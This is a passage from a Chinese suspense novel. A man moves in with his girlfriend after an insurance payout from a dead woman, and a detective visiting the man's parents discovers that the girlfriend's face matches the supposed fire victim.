迟昼站在原地,脸色渐渐沉了下来,那神情中压抑的悲伤却多过被冒犯的恼怒。严疏的话虽仍在试探,但他听得出其中那份发自真心的困惑。 这让他感到一丝荒谬的讽刺——这世上另一个能隐约窥见他本质的人,竟是个步步紧逼的、流氓般的刑警。 他轻轻摇头,既像敷衍,又像在回应严疏那无解的疑问:“我,只是个普通人。我知道你怀疑我杀了楚谕骗保,但如果你肯多想一步——她既然愿意将我的名字写在保单上,就意味着把身家性命托付给了我。那么,我留着她,岂非能够得到更多?她未婚夫的家境如何,你应该比我清楚。” 话音落下,迟昼转身就走,步伐没有半分迟疑。严疏望着他的背影,咀嚼着这番话,不自觉地抬头望向那扇属于迟昼的窗户,在楼下驻足良久都未驱车离开。 他不得不承认,迟昼的话不无道理——但这只是寻常逻辑。而命案,从来都不遵循常理。 归根结底,最关键的疑点始终在于:为何要大费周章地杀害楚谕,而且偏偏要采用与十二年前如出一辙的焚身之火? 既然理不清其中的关联,就只能从最终的结果倒推。而整件事目前浮出水面的唯一受益者......只有迟昼。 严疏掐灭了烟,独自坐在车里,引擎的低鸣仿佛应和着他脑海中盘旋未散的疑问。 ********* 在保险公司的人来访后的第三天,迟昼开始着手搬家。 简宁早已定好了日子,他没有提出异议——脑子仍像一团纠缠的乱麻,分不出丝毫精力来思考搬家这类琐事。 任谁突然面对两个陌生人递来的合同,被告知只需签个字就能获得一百五十万,恐怕都会陷入同样的茫然。他几乎是凭借本能完成了整个流程,无法对任何人言说:他其实根本不清楚这份保险的来龙去脉。保单上的签名的确是他的笔迹,可他对此毫无印象。 然而迟昼清楚地知道一点——这笔钱是楚谕留给他的,他必须接受。倘若否认,只会引来更多麻烦。一个严疏已经够他应付了,他不能再节外生枝了。 一百五十万,在房价飞涨的今天或许已不算是天文数字,但迟昼从未想象过自己的账户里会出现这样一笔巨款。他在老家的父母,一辈子也攒不下这个数目。 在过去——那个永远逝去、再也无法触及的过去——他和楚遇曾站在河边,畅想着需要多少钱才能逃离眼前的生活。那时他们竭尽所能地幻想,最终得出的数字,也不过是十万。 如今谁都明白,十万块什么也改变不了。 那么,一百五十万呢? 他正出神地望着搬家工人往车上搬运寥寥几件的行李,手机铃声突然划破了凝滞的空气。看着屏幕上跳动着“简宁”二字,他深吸一口气,按下接听键:“喂?” “搬得怎么样了?” “正在装车,快结束了。” 电话那端的简宁轻笑一声:“真抱歉,我今天请不了假。” 迟昼并未听出丝毫歉意,但他并不在意:“没事,东西不多,搬家公司在处理。”就在简宁应了一声准备挂断时,那张保单的影子突然掠过脑海,他脱口而出:“等等!” “嗯?怎么了?” “......算了,见面再说吧。”他摇了摇头,意识到对方看不见,又补了一句,“晚上见。” “好,晚上新家见。”简宁并未追问,只是将“新家”二字咬得格外清晰。 刚挂断电话,搬家工人便吆喝一声,示意装车完毕。迟昼点头,正要动身,却忽然回头:“能稍等一下吗?我上去看看有没有遗漏。” 他独自转身上楼,站在旧居门口,朝里投去最后一眼。 这里几乎没有任何改变。原有的家具纹丝未动,他只带走了属于私人的零碎物品,房间并不显得空旷,仿佛一切如昨。 迟昼静静立在门口。他在这里度过了近四年时光,是他离家工作后住得最久的地方。 久到,他曾恍惚以为这就是永恒。 可这世上从来没有什么永恒。即便车到山前真的出现了路,多半也只是通往峭壁下的深渊。 凝视着这个几乎一成不变的房间,迟昼忽然意识到——自己对这片狭小的天地,早已没了半分留恋。 他的□□虽然正值盛年,灵魂却仿佛四顾茫然——就像严疏说的那样。 ——————— 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迟昼的喉结无声地滚动。他深吸一口气,迅速合拢箱盖,将箱子用力推至墙角。 转身下楼的步伐依然平稳。他继续搬运着剩下的行李,仿佛什么都不曾发生。 ********* 简宁的排班按工时计算,基本毫无规律可言——有时只需上半天班,有时却要从清晨忙到深夜。等到迟昼也开始在4S店上班后,两人其实难得有相处的时光。 迟昼偶尔会想,看来无论什么样的爱情,落到现实里,最终也不过是这般模样。 今天搬家,简宁虽不能请假,但还是和同事换了第二天的早班,五点刚过就踏进了家门。她手里提着在超市采购的半成品食材和新鲜水果,刚推开门,就闻到了厨房飘来的饭菜香。嘴角不自觉扬起,她放轻脚步走到厨房门口,果然看见迟昼正在案板前切菜。 焖锅在一旁噗噗地冒着水汽,将他的背影晕染得模糊而温暖。 一锅煮烂了的面汤忽然浮现脑海。 简宁静静驻足片刻,开口时带着几分戏谑:“原来你会做饭啊?” “以前又不是没做过。”迟昼头也不回。 这句平淡的回答让简宁嘴角的笑意微微一滞。她敛起表情,默不作声地将水果放进琉璃台上的果盘,转身时语气已恢复如常:“那正好。你负责做饭吧,我去收拾东西。” 走到客厅中央,她驻足环顾,满意地打量着四周。这里,终于有了家的模样——麻雀虽小五脏俱全,崭新的家具在暖光下泛着细腻的光泽。 她打开行李箱,开始仔细整理自己的衣物。当指尖触碰到几件价格不菲、面料娇贵的外套时,她动作顿了顿,随后小心地将它们叠好,收进了抽屉最里层。 整理完日常衣物,她又从另一个箱子里取出几个套着无纺布袋的包包——每个都如同新品,看不出丝毫使用痕迹。又是一番掂量后,她踮起脚,将它们一一安置在衣柜顶层。 待她的物品全部归位,衣柜和储物柜几乎已经满满当当。简宁后退一步,站在床边深深吸气,一抹真切的笑意终于从她唇角浮现。 她仔细端详着这个属于她和迟昼的卧室良久,只觉每一个角落都让她心生欢喜。 “你的衣服多不多?”她走回厨房门口问道,“需要给你留多少空间?” 迟昼依旧专注于手中的菜刀,头也不抬:“我没几件衣服,能放下你的就好。” “改天我陪你去买几件新的吧。” “不用了。”迟昼摇头,“修车这活儿,再好的衣服也是糟蹋。” “总有休息的时候嘛。”简宁似乎没听见他的推拒,转身便开始整理他的衣物。她毫不避讳地拿起他的贴身衣物,声音里带着轻快的期待:“等我们休年假的时候,可以一起去旅行。” 迟昼切菜的手微微一顿,没有回答。 搬家后的整理琐碎又磨人。等迟昼将最后一道菜端上桌时,简宁刚收拾完卧室,正握着笤帚清扫客厅的浮尘。 迟昼望着她弯腰忙碌的背影,光影勾勒出熟悉的轮廓。那一瞬间,他的意识仿佛脱离了掌控,不受控制地开了口:“先吃饭吧,楚谕。” 简宁听到动静,下意识应了声“好”。等直起身回过头,才猛地意识到什么。 她的脸色如被阴云笼罩般缓缓沉下,声音里带着冰冷的确认:“你刚刚......叫我什么?” 迟昼像是刚从梦中惊醒,带着一片真实的茫然:“什么?” 简宁盯着他片刻,忽然扯出一个极淡的笑,摇了摇头:“没事。”她转身走向洗手间,“我去洗个手。” 迟昼沉默地站在原地。洗手间的门合上,水流声哗哗响起,持续得有些久。等待期间,他的目光无意识地落在门板那几张泛黄的大耳朵图图贴纸上。 当简宁甩着水珠走出来时,正对上他出神的视线。她顺着看向那些贴纸,语调忽然变得轻飘而尖锐,像细针扎入皮肤:“这不是挺宝贝的嘛。” 迟昼极淡地笑了一下,垂眼避开她的注视:“吃饭吧。” 餐桌是从简宁旧居搬来的原木方桌,木质敦厚,纹理质朴。新居客厅宽敞明亮,专门划出的就餐区域让这顿晚饭显得格外正式。两人相对而坐,面前摆着四菜一汤,虽然四周还堆着未拆封的纸箱,这一刻却莫名有种庄重的仪式感。 “早知道该买瓶酒庆祝的,”简宁不无遗憾地说,“好歹算是乔迁之喜。” “你不说我倒忘了,”迟昼起身走向冰箱,“我买了。” 简宁好奇地探头,看见冰箱里整齐码放着一些啤酒,还有几瓶红酒。迟昼随手取了瓶红酒——是随便买的普通餐酒,不需要醒,直接倒进喝水的玻璃杯里,递到简宁面前。 她接过酒杯轻啜一口,忽然双肩微微颤动,自顾自地笑了起来。 “在笑什么?”迟昼注视着她在灯光下显得格外柔和的侧脸。 简宁仍弯着嘴角,眼底漾着微光:“总觉得......不太真实。” 迟昼给自己也倒了一杯,轻声叹息:“什么是真,什么是假,对你来说重要吗?” “只要别人不碍着我,我也不碍着别人,就不重要。”简宁眯着眼,指尖轻轻摩挲着杯沿,回答得干脆利落。 迟昼仰头饮尽杯中酒,又问:“怎样才算‘碍着’?别人做什么事,会让你觉得不可原谅?” 简宁没有立刻回答,只是凝视着杯中晃动的酒液,神色在灯光下几经变幻。良久,她才抬起眼,绽开一个天真无邪的笑容:“过去的话,我也不太清楚。但现在么......” 她停顿一下,随后望向迟昼,给出了答案:“把你......从我身边抢走。” 她虽然在笑,可那双眼睛却漆黑如墨,亮得异常。某一瞬间,迟昼觉得她像极了一只猫——慵懒,却透着异样的清醒。 “我很普通,哪有这么值得。”在她的凝视下,迟昼不自觉地别开视线,借添酒的动作掩饰神情,随后举了举杯:“先吃饭吧,菜要凉了。” 简宁却没有动筷,目光依旧胶着在他身上,微哑的声音轻得像呢喃,却仿佛带着不容置疑的力量:“你不需要多么值得。你只需要......属于我。” 那声音仿佛从遥远的天际飘来,炽热如焰又冷若冰霜,让迟昼执筷的手微微一顿。 他没再追问,只是沉默地为两人盛好饭,将翻涌的心事与未尽的对话,都埋进了这顿乔迁宴里。 9. 玖 这顿饭,这场酒,本是迟昼精心准备的仪式。他原有许多话要说,有许多疑问要问。可当真正坐在简宁对面,听她兴致勃勃地说着咖啡店的趣事、形形色色的客人时,那些酝酿已久的话语却像被什么堵在了喉间。 他最终选择了沉默,只是机械地夹菜,一杯接一杯地喝酒。到后来,饭菜没动几口,红酒却很快见了底。他犹自觉得不够,又从冰箱里拿出啤酒,易拉罐接连发出清脆的开启声。 最初的意图渐渐被酒精稀释,他放任自己沉溺在这种麻木的迟钝里。最后,两人不知怎么从餐桌喝到了床上,在朦胧的醉意中抵死纠缠。 这一次异常顺利。迟昼像是在酒精里找到了出口,不知疲倦地索取着,似在追寻极致的欢愉,又像在宣泄刻骨的痛楚。直到最后,他紧紧抱住简宁,精疲力尽地倒在床上。 新换的床单散发着阳光晒过的清新气味。简宁轻抚着迟昼汗湿的脊背,望着天花板的吸顶灯——在微醺的视线里,它像极了倒映在河面上的月亮。 她觉得自己也有些醉了。她格外珍惜这个错位的瞬间。 迟昼的酒意随着情欲渐渐消退。他低声开口,声音带着事后的沙哑:“她......给我留了一份保险。” “嗯。”简宁漫不经心地应着,动了动身体,调整了个更舒服的姿势。 迟昼侧身让开些空间:“一点都不惊讶?” “什么?”她歪头看向他的下巴,配合似地问:“多少?” “一百五十万。” “哇,她可真够意思。”简宁故作惊讶地感叹,语气却平平,好像并不感兴趣。 “够意思?”迟昼胸腔震动,发出一声似笑非笑的哽咽,“用命换?” “那是意外啊。”简宁轻声说。 “我不信......我不信......” 酒精的后劲像蒸腾的热浪包裹着迟昼的头脑,令他感到窒息般的痛苦。一滴泪滑落后,压抑已久的情绪终于决堤。他崩溃地哭泣着,不自觉地蜷缩起来,将脸埋进简宁怀中。 简宁轻轻环住他的头和背,像摇晃摇篮般微微晃动身体。在迟昼看不见的角度,她的眼底只有一片木然。 待他的抽泣稍稍平复,她俯身贴近他耳畔,用气声轻轻问:“如果死的是我,你也会......这么难过吗?” “你是谁啊......你是谁啊......”迟昼只是反复呢喃着这句话,像醉汉毫无意义的呓语。 她想,确实没有意义。反正,现在只剩一个人了。 她又开口了,微哑的声音里带着蛊惑:“我是......要陪你走完余生的人啊。” 薄薄的睡衣被泪水浸湿,凉意触到皮肤,却莫名让她浑身发热。她用力架起迟昼的胳膊,逼他直视自己的眼睛: “看清楚,我是谁。” 话音未落,她便按倒迟昼,带着几分狠劲吻了上去。 他们紧密交缠,肢体相扣,仿佛要将彼此熔铸为一体。在情潮翻涌的间隙,她仰起脸望向虚空,那里只有一片望不穿的浓稠黑暗。 她收回视线,凝视着身下泪痕未干却深陷情欲的人,唇角缓缓勾起一抹笑意,带着夙愿得偿的心满意足。 良久之后,激烈的情潮终于退去,两人静默地相拥。她伏在迟昼胸前,望着他的面庞,耳畔是他尚未平复的心跳。 他说得没错,他确实是个再普通不过的男人。没有锻炼痕迹的身体,疏于打理的仪容,连下颌线都开始显露出岁月的松弛。 可她从不在意他是否出色,她要的正是这份普通。即便他已筑起了连老刑警都看不透的心防,可只要望进他眼底,她依然能窥见那个从未改变过的灵魂——脆弱,却始终固执地保留着一份善良。 而此刻,她最痴迷以及需要的,恰恰就是这份易碎的特质,和那在现实面前,显得如此徒劳的良善。 他一切的一切,组成了一个锚定着过去的坐标。 “既然她爱你,你也爱她,”在漫长的寂静后,她忽然轻声问:“为什么没有在一起?” 迟昼闭着眼,答得模棱两可:“这个问题,你问过很多次了。” “可你从没认真回答过。” “因为这不重要。”他睁开眼,目光却避开她,“相爱但没能相守的人太多了,这样也没什么不好。” 她轻笑一声,突然问:“那你想过......和我结婚吗?” 迟昼怔了怔,低头看向简宁。犹豫片刻,终究叹了口气:“我一直觉得,顺其自然就好。” “顺其自然的意思就是没想过。”她抬脸笑了笑,“不必说谎。” “我以为顺其自然的意思是一切皆有可能。”迟昼也笑了,忽然话锋一转,凝视着她:“简宁,你还记得我们是怎么认识的吗?” 他本以为她会回避,却未想她答得自然:“记得啊。那时你尾随我嘛,我以为遇到了变态,就埋伏起来打了你。” 迟昼再次愣住。恍惚间一股想要起身的冲动在体内奔涌,可即便内心已是惊涛骇浪,他的身体却像被无形的锁链禁锢,连指尖都没有颤动分毫。 一个不合时宜的念头突然闯入脑海——如果这世上真的存在读心术,如果人与人的距离近到思想也无法隐藏,所有人都赤裸相对——届时人类会作何选择?是彻底放弃谎言,活在绝对的真实之中;还是筑起更高的心墙,宁愿永世孤寂,也不再亲近他人? 这无谓的哲思只持续了一瞬,便碎落在简宁望向他的、深不见底的瞳孔里。他像是忽然从一场大梦中惊醒,声音轻得如同叹息:“四年了......我们认识,已经四年了。” ********* 四年前,迟昼初到此地。在这之前,他像无根的浮萍,曾在几座城市间短暂停留。外面的日子并不好过——他本就不是胸怀大志的人,外头的收入虽不低,开销却也水涨船高。再加上心下茫然,日子实际过得反不如在河溪镇时安稳。 可他依然不愿回去。心底最深处,始终埋着一个执念:他想再见楚遇一面。 自十八岁那年分别,迟昼就再没见过她。重逢的愿望卑微得可怜,却成了支撑他漂泊的全部理由。 后来一次偶然,他听一个旧日同学说在这座城市见过楚遇,她甚至还问起了他的近况。虽然对方当时的神情颇为玩味,可迟昼却像突然找到了方向,义无反顾地再次启程,来到了这座城市。 然而在近千万人口的城市里寻找一个人,无异于大海捞针。而且他越想越觉蹊跷——以楚遇的性子,若真被故乡熟人认出,该是否认或躲避才对,怎会主动搭话,还特意提起他? 尽管线索虚无缥缈得如同晨雾,迟昼却像被钉在这座城市般寸步不离。他自己也说不清这份执念从何而来——仿佛有根无形的线系在心上,线的另一端就藏在这座城市的某个角落。 他在一家汽修厂安顿下来,每天在机油和金属的气味中消磨时光。这座城市很大,大到他可以像个透明人般活着;这座城市又很小,小到让他总觉得下一个转角就能遇见想见的人。 半年多来,迟昼结识了不少工友,学会了在酒桌上推杯换盏,在车间里插科打诨,可每当夜深人静时,那种格格不入的疏离感便如潮水般涌来。他像一叶孤舟,漂泊在热闹的人海里,船锚却始终无处安放。 渐渐地,某种变化在他身上悄然发生。 起初只是不再费心打理自己。工服上的油渍从点缀变成常态,胡茬从三天一刮变成随心所欲。后来连吃饭都成了应付——他可以连续一周用不同口味的泡面打发晚餐,甚至在工作间隙干啃冷馒头充饥——不是因为拮据,他的工资足够吃遍公司周边的每个餐馆——而是某天他突然意识到,咀嚼这件事本身,和活着一样,好像都“没什么所谓”。 这种“无所谓”像滴入清水的墨汁,迅速弥漫到他生活的每个角落。租来的房间几乎维持着搬进来时的模样,工友邀约的聚餐能推则推,宁可独自在宿舍对着天花板发呆。 迟昼清楚地感知到自己正在下沉,却连挣扎的欲望都没有。那个支撑着他漂泊的念头,早已从最初的期盼变成了折磨——他既不知道为什么要见她,也不知道见了面能说什么,更不知道该如何在茫茫人海中找到她。这份毫无来由的执念和他日渐消沉的意志每天都在体内厮杀,像两头困兽,将他撕扯得精疲力尽。 活着,莫名变成了一场不知为何而战,却也不应轻易投降的战争。他在不见硝烟的战场上日渐颓唐,看着自己一点点被尘埃覆盖,却连伸手拂拭的力气都攒不起来。 日子就这样一天天流逝。直到某个黄昏整理房间时,他无意中瞥见那几本属于楚遇的旧书,一阵莫名的恐慌突然攫住了他—— 他几乎......已经记不清楚遇的模样了。 那天他发疯似的翻遍所有行李,却找不到一张与楚遇的单独合影。他们相识的青涩岁月定格在了智能手机尚未普及的年代,连一张像样的照片都成了奢望。 最后他只找到一张毕业合照。他记得楚遇站的位置,但老照片的像素粗糙得如同蒙着一层雾,无论怎样凝神细看,那张面容始终都模糊不清。 他最终放弃了照片中的寻找,毕竟看着照片与见到真人,终究是两回事。况且都说女大十八变,他们分别时正值青春,一晃七八年过去,迟昼完全想象不出楚遇如今的模样。 他甚至怀疑,就算某天在街上擦肩而过,自己也未必能认出她来。 一个独自离开聚餐的深夜里,迟昼望着城市上空稀疏的星子,恍惚间仿佛回到了河溪镇的堤坝上。他下意识去摸手机想看看那张珍藏的照片,却发现口袋空空——屋漏偏逢连夜雨,手机不知何时丢了。 他茫然地站在街灯下,决定把身上所有现金都掏出来去买啤酒,却发现连买醉都显得拮据。提着寥寥几罐酒从便利店出来,他晃晃悠悠地走 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他停下脚步,转身跟了上去。其实想喊那个名字,但喉咙仿佛被酒气堵住,一时竟发不出半点声音。他就这样默默尾随着,走过霓虹闪烁的街道,穿过宁静空旷的马路。当前方的人影下了过街天桥突然消失时,他正茫然四顾,后脑突然被什么重重抡了一下。 倒不是很疼,但他本就步履蹒跚,这一下就直接让他捂着后脑跪倒在地。抬起晕眩的视线,他看见那个女人抱着背包在两步开外徘徊,脸上写着犹豫——不知该立刻逃离,还是该留下查看。 这一击仿佛打散了他眼前的迷雾。不是楚遇。一点也不像。 简宁生着一对桃花眼,双眼皮很深,眼尾微微上挑;而楚遇是清冷的丹凤眼,看人时温柔却总带着疏离。他忽然觉得可笑,自己刚才怎么会认错。 “对不起,我不是......不是......”他捂着脑袋摇摇晃晃站起来,想解释自己不是坏人,却被一阵突如其来的眩晕击中。来不及多说,他扶住路边的树,吐得昏天暗地,仿佛要把五脏六腑都掏空。 “你没事吧?”出乎意料,简宁还没走。虽然仍保持着安全距离,但语气里的惊慌已经淡去,“要去医院吗?” 迟昼摇了摇头:"喝多了而已,你走吧。" “你......头在流血。”简宁伸出手,隔空点了点他的后脑。 他伸手一摸,指尖触到一片湿黏。借着月光一看,果然是血。 “你刚拿什么打的?”他忍不住问。 简宁的声音里透出一丝笑意:“砖头。” “你真行啊......” 吐过后酒劲彻底散了。他原本以为简宁只是用书包抡了他一下,没想到竟是板砖。幸好她没下狠手,流血不多,应该没事。他苦笑着想,自己没钻进车流,又没被拍死,大概真是命不该绝。 “前面就有急诊,”简宁看他晃晃悠悠的样子,语气软了下来:“我陪你去吧。” “去了怎么说?” “就说你自己摔的呗。” 大夫能信才怪!迟昼在心里吐槽,嘴上却没反驳。但奇怪的是,经此一遭,他仿佛突然“活”了过来——就像一块耗尽电量、被丢弃在角落的旧电池,突然又被接上了电源。虽然电压不稳,指示灯忽明忽暗,但终究是重新开始了运转。 那个夜晚之后,有什么东西悄然改变了。迟昼依然说不清为什么要留在这座城市,依然不知道去哪里寻找楚谕,但简宁那一砖头,像是把笼罩在他眼前的浓雾砸开了一道裂缝。 生活依旧没有明确的方向,但简宁的出现,像在茫茫大海上投下了一个若有若无的浮标。他不确定这个浮标会带他去往何方,甚至不确定它是否牢固,但至少,不再在无尽迷茫中下坠了。 他就这样糊里糊涂地继续生活下去,每天在汽修厂拧紧一颗颗螺丝,给一辆辆车排除故障,仿佛什么都没有变。 ********* 他们就这样相识了,从那以后就没断过联系。说来有些惭愧,但这段关系确实是简宁先伸出了手,而他就像个在迷雾中踟蹰的旅人,迷迷糊糊便握住了那点温暖。 简宁是个活得简单却充满生命力的姑娘,像株永远朝着阳光生长的植物。而迟昼深知自己内心的贫瘠与荒芜,总觉得配不上那般鲜活的生机。 他从未对简宁说过谎,正如从未说出过那个“爱”字。他只是对楚遇的一切讳莫如深,如同藏起一个不能见光的秘密。 转眼近四年,一千多天,他从未谈过这么长的恋爱。那段时光,就像她的名字一样,简单又宁静。 当然,这一切都是在楚谕出现之前。 她的出现,带来了太多改变。 想到这儿,一阵猝不及防的酸楚涌上鼻腔。迟昼强忍着情绪,不想惊动身旁的人,低头却发觉她不知何时已靠在他肩头沉入梦乡,均匀的呼吸轻轻拂过他的臂弯,柔和的与当初那个拿砖头抡他脑袋的姑娘判若两人。 他用力闭上双眼,一滴温热的泪却还是挣脱了眼眶,无声地滑落。 简宁,对不起。 10. 拾 时隔多年重回河溪镇,严疏觉得这里仿佛已被时光遗忘——狭仄,灰扑扑的,天空仿佛永远蒙着一层洗不净的尘霾。街上行人的表情都是木然的,连那些闹事的混混学生,动作里都透着一股刻板的麻木。 当年在这里工作的自己又何尝不是如此。这座小镇好像有种奇特的力量,那种无处不在的沉闷能慢慢磨平所有的棱角,把活生生的人打磨成相似的模板。 不过这也没什么不好。镇上的居民大多活得平静知足,稍有积蓄就忙着翻修房屋,这些年不少平房都盖成了两三层的小楼,倒也不能说他们浑噩度日。 严疏凭着记忆找到了迟昼家,那栋房子几乎没变——宽敞的院子里晾着衣服,屋里的家具都是深色实木,没有沙发,进门是两排硬邦邦的太师椅,上面铺着手工缝制的软垫,椅垫上的绣花已经褪色。 面对突然造访的警察,女主人蔡雨显得手足无措,嘴里念叨着要倒水,在原地转了几圈却什么也没做成。相比之下迟安要镇定得多,只是皱着眉反复追问:“迟昼在外面,没惹什么事吧?” “别担心,不是他的事。”严疏先安抚道。 “这样啊......”蔡雨明显松了口气,一下子坐定了,水壶也一下就找到了,“您有什么要问的尽管说,我们肯定配合。” 严疏见状便不再寒暄——循序渐进本就不是他的强项。他直接切入正题:“你们对楚谕这个女孩有印象吗?她以前可能叫邹遇。” 他边说边准备掏照片,毕竟家长记不得孩子多年前的同学很正常。没想到照片还没拿出来,蔡雨就点头:“小婷的女儿嘛,记得的。” 严疏掏照片的手顿了顿——从这称呼看,两家的关系比他想的更亲密。他沉吟片刻,决定继续直来直往:“她......前不久去世了。” “啊?”一直沉着脸的迟安突然开口,语气里带着惋惜,又藏着些说不清的别扭:“这样啊......他要是知道了,肯定难受。” 严疏察觉到他的异样,但现在最重要的是趁热打铁追问楚谕的事。趁着对方情绪松动,他乘胜追击:“在你们印象里,她是个怎样的孩子?” 迟安看向蔡雨,示意她来说。蔡雨便接过话头:“很清秀的姑娘,也懂礼貌,成绩还算可以......对她的家庭情况来说,已经很不容易了。初中之后她常来我们家写作业,待到很晚才走。”她叹了口气,“我能理解,毕竟小婷那样......哎,孩子不愿意回家嘛,我也不忍心赶她。” 说到这儿,蔡雨突然笑了笑,摇摇头:“您瞧我,说得乱七八糟的。总之呢,小遇是个苦命孩子,要是生在正常人家就好了......真是造孽啊。” “她家当时......是出了什么事吗?”严疏刻意追问,想试探对方能否透露更多细节。 蔡雨“啊”了两声,眼神不自觉地瞟向迟安,似乎在顾忌什么,但在警察的注视下,她还是支吾着开了口:“她爸......在外面有人了,听说外面的孩子都有俩了,才回来离的婚。”她说到这里顿了顿,双手在裤边搓了搓,显然这个话题让她很不自在。 又偷瞄了一眼脸色愈发阴沉的丈夫,蔡雨才在严疏的催促的目光下继续:“那人也挺狠的,再婚也没离开本地,就是......明摆着不要她们娘俩了。她妈,就是小婷,这儿就不太对劲了。”她指了指自己的太阳穴,叹了口气:“经常神神叨叨的,别说照顾孩子了,自己都顾不好。那孩子啊,根本就是自己野着长大的。” 严疏再次察觉到两人的异样,但此刻他更关注楚谕的过去,于是按下疑虑继续问:“她父母都还在吗?” “她爸一家过得好着呢。小婷早就不在了......自杀的。幸好当时那孩子在我们家,要不差点就带着孩子一起走了。”蔡雨停下来想了想才借着说:“小婷走后,我就再没见过那孩子,连高中都没念完,直接就不见了。她是......怎么没的?” “意外。”严疏按照结案结论回答。 “哎哟,真是可怜......”蔡雨连连叹气,话匣子打开了就收不住:“不瞒您说,当初我是真挺喜欢这孩子的。看她和我家迟昼走得近,我也想过俩孩子是不是在处对象。十几岁的年纪,也正常嘛。”她絮絮叨叨地说着,最初的紧张消散后,仿佛把严疏当成了唠家常的听众,“可我这心里啊,总有点害怕。我听人说......这神经上的毛病会遗传,我就......有点怕她以后会变得像小婷那样。但我又不好跟迟昼明说,您懂的,毕竟......哎......” 严疏听着,突然意识到一个细节——迟昼母亲始终对儿子直呼其名,话语之间虽然透着关心,却好像总隔着一层什么。想起进门时院子里晾着的球衣,他试探着确认:“为什么不好跟迟昼说?” 蔡雨显得有些局促,但还是如实相告:“迟昼他......不是我亲生的。这......多少就有点隔阂。” 猜想得到证实,严疏点了点头,将目光转向一直沉默的迟安。 迟安见严疏看过来,也不好再回避,只是开口时语气硬邦邦的,像是积压着多年怨气:“是我前头那个生的。没多长时间,她......就跟一个路过镇子做生意的跑了。” 这个答案有些出乎严疏的意料。他挠了挠头,想安慰几句,却实在说不出什么漂亮话来。 在他犹豫时,迟安已经继续开口,语气依然生硬,但之前那种别扭的感觉又回来了,像是想认错又拉不下脸:“他当初跟那姑娘走得近,我看魂都快被勾走了,还拿他妈的事提醒过他。”说到这里,他停顿了一下,语气沉重了些,带着过来人对世事无常的感慨:“谁知道......唉。” 气氛突然变得凝重,话题戛然而止。严疏在心里暗骂自己多事,但话题已经偏了,他只得硬着头皮生硬地拉回正题:“迟昼......这几年有和你们提过楚谕吗?” 蔡雨下意识地看向迟安,迟安摇了摇头:“没有。他成年后基本就不怎么回来了,偶尔我们催得紧,才会提两句女朋友的事。”他声音低沉了些,“因为......他亲妈的事,小时候我对他......也不太好,父子俩一直不亲。这些年他在外面,更是越来越不爱说话了。”说到这,他语气里的别扭散了,带着些难以掩饰的懊悔。 严疏顺势追问:“楚谕母亲当年自杀的事,对迟昼影响大吗?” 这话让迟安的脸色立刻沉了下来,方才那点追忆往事的感慨和后悔瞬间消散。他神色黯淡,带着几分恨铁不成钢的意味:“影响能不大吗?我都说了,他那会儿魂都被勾走了,出事之后更是魂不守舍,成绩一落千丈......” “算了算了,陈芝麻烂谷子的事了,不提了。”蔡雨身为女人,比丈夫更敏锐些,察觉出这个警察问话方式生硬又执着,怕丈夫言多有失,忙打圆场:“现在这年头,上了大学也不见得能找到安稳工作。现在他有门手艺,到哪儿都饿不着,我觉得挺好。” “是啊,”迟安顺着话头,语气缓和下来,“看看周围多少在家啃老的,他能自立已经很好了。现在只盼着他找个踏实人,赶紧结婚生个孩子,我们也就安心了。” 幸好上了年纪的人一提起儿女就容易自顾自地感慨,倒省了严疏生硬转移话题的尴尬。他顺势问道:“迟昼和他女朋友......已经到谈婚论嫁的地步了?” 迟安摇头,语气里带着不满:“还没影呢。他是不着急,我们干着急。这谈了也有好几年了,还没个动静,万一人家姑娘不愿意等了可怎么办!” 严疏站在原地略显尴尬,心想这对父母是真把他当社区调解员了。 不过这倒也不是坏事。虽然他对迟昼的女友并无太大兴趣,但知己知彼,多了解些总没坏处。只是严疏心里疑惑更甚:既然迟昼和他女友已经谈了有些时候了,楚谕怎么可能不知情?都这样了,还把迟昼写成保险受益人,究竟是被灌了什么迷魂汤?那姑娘真就这么傻? 既然提到了,他索性便多问一句:“迟昼的女朋友叫什么?你们见过吗?” 严疏已经尽力在让语气显得随意,可或许是因为太过刻意,反而引起了迟安的警觉。他再次确认:“警官,迟昼真的没惹什么事吧?” 严疏连忙安抚:“真没事,就是围绕楚谕的人际关系做常规调查。” 迟安点了点头,但神色明显不信。对他们这样安分守己的普通百姓来说,一辈子顶多和交警打打交道,突然有刑警上门走访,即便再三强调“没事”,却仍令人不安。想到这,他决定三缄其口,不再多言。 见丈夫闭口不言,而这警察还杵在那儿不肯放弃,蔡雨只好再次出来打圆场。她掏出手机,边翻边说:“那姑娘叫简宁,安宁的宁。之前一个人来这边办事,还特意来看过我们。那真是个好姑娘,看着对迟昼很是上心,可迟昼他......哎,准是他太木讷,不肯往前看。但人家也长得可漂亮了,看着就招人喜欢......找到了找到了!” 蔡雨终于翻到了照片,把手机转向严疏,嘴里还絮絮叨叨:“人一看就是城里姑娘,肯定不愿意回咱这小地方住。可外面的房子又买不起,也不知道人家介不介意租房结婚......” 正因为毫无防备,因此当严疏的目光落在那张清晰的合照上时,整个人如同被高压电流瞬间贯穿——从后脑勺到脚底,从发梢到指尖,每一寸皮肤都炸起麻木的战栗。他甚至不确定自己是否真的剧烈颤抖了一下,但整个世界确实在那一刻骤然失声、失焦。 他确信自己的血压在那一瞬飙升到了顶点,因为视线中的一切——昏暗的客厅、深色的家具、对面迟家夫妇的脸——都仿佛在被一只无形的手搅动,然后围绕着屏幕上那张笑靥如花的脸,开始旋转。 严疏用力闭了下眼,强行稳住几乎要脱轨的心神。他缓缓地、几乎机械地伸出手,从蔡雨手中接过了手机。 他的目光如铁钉般死死钉在照片上。 或许是由于滤镜效果,照片中两人的轮廓有些许失真,但这丝毫不足以干扰辨认。迟昼站在稍后方的位置,望着镜头,脸上是他惯常的阴柔疏离,没有笑容。而站在他前方,举着手机巧笑嫣然的那个女人—— 那张脸,与火灾案卷宗里的档案照片,缓缓重叠。 一股冰冷的寒意沿着他的脊椎急速爬升。 如果没认错的话,这个女人...... 是楚谕。 ———————————— 严疏把油门踩得凶狠,车子在公路上撕开一道凌厉的风声。他不知道要去哪里,也不在乎开了多远,只是随意找了个匝道冲上高速。车载导航不断发出超速警告,他却充耳不闻,在畅通无阻的道路上将车速不断拉高,连醒目的测速摄像头都无法让他松开油门。 满腔的困惑、不解,与那些疯狂滋长的猜测,仿佛都要靠这失控的速度才能宣泄。 那张合照像是一枚炸弹,在他脑海中掀起了惊涛骇浪。 